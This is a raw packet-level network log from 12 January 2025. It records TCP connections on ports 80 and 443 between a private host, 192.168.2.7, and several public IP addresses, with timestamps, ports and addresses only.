Jan 12, 2025 09:26:43.321482897 CET	49861	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.321578979 CET	443	49861	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.321851969 CET	49861	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.322033882 CET	49862	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.327017069 CET	80	49862	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.327430964 CET	49862	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.327511072 CET	49862	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.332298994 CET	80	49862	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.583705902 CET	49857	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:43.595324993 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:43.595351934 CET	443	49870	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:43.595818996 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:43.596419096 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:43.596446037 CET	443	49870	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:43.815934896 CET	80	49862	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.816677094 CET	49862	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.816718102 CET	80	49862	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.816859961 CET	49862	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.821515083 CET	80	49862	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.858760118 CET	49871	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.858779907 CET	443	49871	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:43.859349966 CET	49871	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.859419107 CET	49871	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.859483004 CET	443	49871	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:43.859946966 CET	49872	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.860033035 CET	49871	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.865164995 CET	80	49872	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:43.865261078 CET	49872	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.865554094 CET	49872	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:43.870351076 CET	80	49872	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:44.064596891 CET	443	49870	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:44.064668894 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:44.066356897 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:44.066448927 CET	443	49870	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:44.066735983 CET	443	49870	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:44.066756010 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:44.066793919 CET	49870	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:44.067217112 CET	49873	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.067239046 CET	443	49873	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.067296028 CET	49873	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.067329884 CET	49873	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.067424059 CET	443	49873	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.067482948 CET	49873	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.067873001 CET	49874	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.072758913 CET	80	49874	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.072828054 CET	49874	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.072865009 CET	49874	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.077656031 CET	80	49874	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.336540937 CET	80	49872	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:44.336937904 CET	80	49872	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:44.337711096 CET	49872	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:44.338581085 CET	49872	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:44.343488932 CET	80	49872	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:44.365693092 CET	49879	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.365714073 CET	443	49879	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.366206884 CET	49879	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.391285896 CET	49879	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.391396999 CET	443	49879	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.391488075 CET	49879	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.394824028 CET	49880	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.399808884 CET	80	49880	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.399944067 CET	49880	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.399944067 CET	49880	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.404825926 CET	80	49880	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.533900976 CET	80	49874	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.534233093 CET	80	49874	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.534485102 CET	49874	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.546451092 CET	49874	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:44.551949024 CET	80	49874	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:44.561667919 CET	49881	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.561700106 CET	443	49881	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:44.561786890 CET	49881	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.565618992 CET	49881	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.565701962 CET	443	49881	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:44.566126108 CET	49882	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.566164970 CET	49881	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.571130037 CET	80	49882	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:44.571211100 CET	49882	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.571243048 CET	49882	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:44.576081991 CET	80	49882	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:44.889475107 CET	80	49880	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.889533043 CET	80	49880	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:44.891433001 CET	49880	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.891493082 CET	49880	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:44.896270037 CET	80	49880	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:45.056775093 CET	80	49882	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:45.057162046 CET	80	49882	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:45.057223082 CET	49882	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:45.060570002 CET	49882	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:45.065526962 CET	80	49882	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:45.069386005 CET	49885	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.069406986 CET	443	49885	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.069480896 CET	49885	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.069570065 CET	49885	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.069642067 CET	443	49885	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.069698095 CET	49885	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.070122957 CET	49886	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.075047970 CET	80	49886	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.075133085 CET	49886	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.100444078 CET	49886	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.105277061 CET	80	49886	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.167577028 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.167609930 CET	443	49887	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:45.167678118 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.180816889 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.180830002 CET	443	49887	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:45.530103922 CET	80	49886	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.530251980 CET	49886	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.530322075 CET	80	49886	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.530371904 CET	49886	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:45.530988932 CET	49891	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.531043053 CET	443	49891	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:45.531119108 CET	49891	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.531181097 CET	49891	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.531291962 CET	443	49891	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:45.531343937 CET	49891	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.531634092 CET	49892	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.535052061 CET	80	49886	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:45.536463022 CET	80	49892	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:45.536525011 CET	49892	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.536559105 CET	49892	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:45.541313887 CET	80	49892	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:45.645066977 CET	443	49887	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:45.645147085 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.646738052 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.646783113 CET	443	49887	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:45.646835089 CET	49887	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:45.647583961 CET	49893	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.647614002 CET	443	49893	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:45.647674084 CET	49893	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.647730112 CET	49893	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.647799969 CET	443	49893	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:45.647840977 CET	49893	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.648128033 CET	49894	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.653032064 CET	80	49894	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:45.653098106 CET	49894	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.653223038 CET	49894	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:45.657941103 CET	80	49894	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.011811018 CET	80	49892	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:46.011919975 CET	49892	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:46.012522936 CET	80	49892	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:46.012574911 CET	49892	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:46.015470982 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.015491009 CET	443	49899	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:46.015547037 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.016117096 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.016130924 CET	443	49899	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:46.016664028 CET	80	49892	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:46.129633904 CET	80	49894	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.129796982 CET	49894	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.129853010 CET	80	49894	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.129904985 CET	49894	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.130495071 CET	49903	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.130548954 CET	443	49903	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.130789042 CET	49903	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.130836964 CET	49903	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.130913973 CET	443	49903	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.130963087 CET	49903	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.131331921 CET	49904	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.134605885 CET	80	49894	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.136135101 CET	80	49904	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.136208057 CET	49904	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.136244059 CET	49904	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.141021013 CET	80	49904	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.473448992 CET	443	49899	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:46.473520041 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.474942923 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.474973917 CET	443	49899	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:46.475055933 CET	49899	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:46.475693941 CET	49905	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.475737095 CET	443	49905	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.475821018 CET	49905	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.475856066 CET	49905	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.475933075 CET	443	49905	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.476094961 CET	49905	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.476385117 CET	49906	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.481236935 CET	80	49906	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.481465101 CET	49906	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.481465101 CET	49906	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.486301899 CET	80	49906	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.617383003 CET	80	49904	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.617600918 CET	49904	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.618371964 CET	49907	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.618398905 CET	443	49907	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:46.618423939 CET	80	49904	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.618465900 CET	49907	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.618535042 CET	49904	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.618536949 CET	49907	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.618602037 CET	443	49907	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:46.618736982 CET	49907	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.619127035 CET	49908	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.622448921 CET	80	49904	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.623941898 CET	80	49908	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:46.624017954 CET	49908	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.624032974 CET	49908	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:46.628813028 CET	80	49908	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:46.957870007 CET	80	49906	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.958065987 CET	49906	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.958755970 CET	49914	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.958779097 CET	443	49914	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.958893061 CET	49914	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.958899021 CET	80	49906	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.958930969 CET	49914	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.958957911 CET	49906	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:46.959028959 CET	443	49914	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.959317923 CET	49915	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.959534883 CET	49914	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.962806940 CET	80	49906	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:46.964144945 CET	80	49915	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:46.964231968 CET	49915	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.964274883 CET	49915	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:46.969023943 CET	80	49915	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:47.104862928 CET	80	49908	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.105340004 CET	49908	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.105724096 CET	80	49908	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.106129885 CET	49908	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.106245995 CET	49916	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.106262922 CET	443	49916	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.106425047 CET	49916	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.106426001 CET	49916	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.106553078 CET	443	49916	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.106972933 CET	49917	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.107356071 CET	49916	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.110198021 CET	80	49908	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.111814022 CET	80	49917	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.111963987 CET	49917	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.112185001 CET	49917	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.116941929 CET	80	49917	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.419704914 CET	80	49915	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:47.419991016 CET	49915	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:47.420572996 CET	80	49915	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:47.420603991 CET	49919	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.420620918 CET	443	49919	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.420658112 CET	49915	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:47.420732975 CET	49919	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.420732975 CET	49919	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.420834064 CET	443	49919	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.421425104 CET	49920	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.421514988 CET	49919	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.424886942 CET	80	49915	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:47.426178932 CET	80	49920	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.427112103 CET	49920	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.427112103 CET	49920	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.431934118 CET	80	49920	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.578442097 CET	80	49917	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.578805923 CET	80	49917	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.578877926 CET	49917	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.579153061 CET	49917	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.581743956 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:47.581763983 CET	443	49926	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:47.583640099 CET	80	49917	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.583857059 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:47.587723970 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:47.587733984 CET	443	49926	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:47.889683008 CET	80	49920	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.890327930 CET	80	49920	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.891732931 CET	49920	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.894155025 CET	49920	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:47.898886919 CET	80	49920	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:47.918195009 CET	49928	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.918246984 CET	443	49928	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.922019958 CET	49928	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.922311068 CET	49928	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.922354937 CET	443	49928	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.922462940 CET	49928	443	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.931685925 CET	49929	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.936525106 CET	80	49929	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:47.937722921 CET	49929	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.937722921 CET	49929	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:47.942517042 CET	80	49929	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:48.045173883 CET	443	49926	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:48.045303106 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.070002079 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.070059061 CET	443	49926	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:48.070199013 CET	49926	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.098562002 CET	49930	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.098586082 CET	443	49930	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.098649979 CET	49930	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.098675966 CET	49930	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.098757029 CET	443	49930	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.098807096 CET	49930	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.099131107 CET	49931	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.104021072 CET	80	49931	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.104087114 CET	49931	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.104233027 CET	49931	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.108989954 CET	80	49931	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.387614965 CET	80	49929	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:48.388320923 CET	80	49929	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:48.391709089 CET	49929	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:48.400173903 CET	49929	80	192.168.2.7	104.21.64.1
Jan 12, 2025 09:26:48.404982090 CET	80	49929	104.21.64.1	192.168.2.7
Jan 12, 2025 09:26:48.562022924 CET	80	49931	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.562257051 CET	80	49931	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.562377930 CET	49931	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.566673040 CET	49931	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:48.571516991 CET	80	49931	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:48.622898102 CET	49934	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.622935057 CET	443	49934	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:48.623040915 CET	49934	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.623085976 CET	49934	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.623173952 CET	443	49934	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:48.624435902 CET	49934	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.644890070 CET	49935	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.649698019 CET	80	49935	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:48.651740074 CET	49935	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.654694080 CET	49935	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:48.659449100 CET	80	49935	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:48.884768009 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.884804964 CET	443	49936	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:48.884869099 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.885620117 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:48.885632038 CET	443	49936	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:49.128067970 CET	80	49935	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.128180027 CET	49935	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.128989935 CET	49942	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.129007101 CET	443	49942	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.129076004 CET	49942	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.129082918 CET	80	49935	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.129131079 CET	49935	80	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:49.129162073 CET	49942	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.129185915 CET	443	49942	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.129228115 CET	49942	443	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.129650116 CET	49943	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.132967949 CET	80	49935	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:49.134401083 CET	80	49943	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.134463072 CET	49943	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.134479046 CET	49943	80	192.168.2.7	172.67.176.186
Jan 12, 2025 09:26:49.139235973 CET	80	49943	172.67.176.186	192.168.2.7
Jan 12, 2025 09:26:49.361793041 CET	443	49936	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:49.361865044 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:49.363600969 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:49.363635063 CET	443	49936	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:49.363684893 CET	49936	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:49.364288092 CET	49944	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.364324093 CET	443	49944	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.364403009 CET	49944	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.364428997 CET	49944	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.364470959 CET	443	49944	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:49.364522934 CET	49944	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:49.364947081 CET	49945	80	192.168.2.7	188.114.97.3
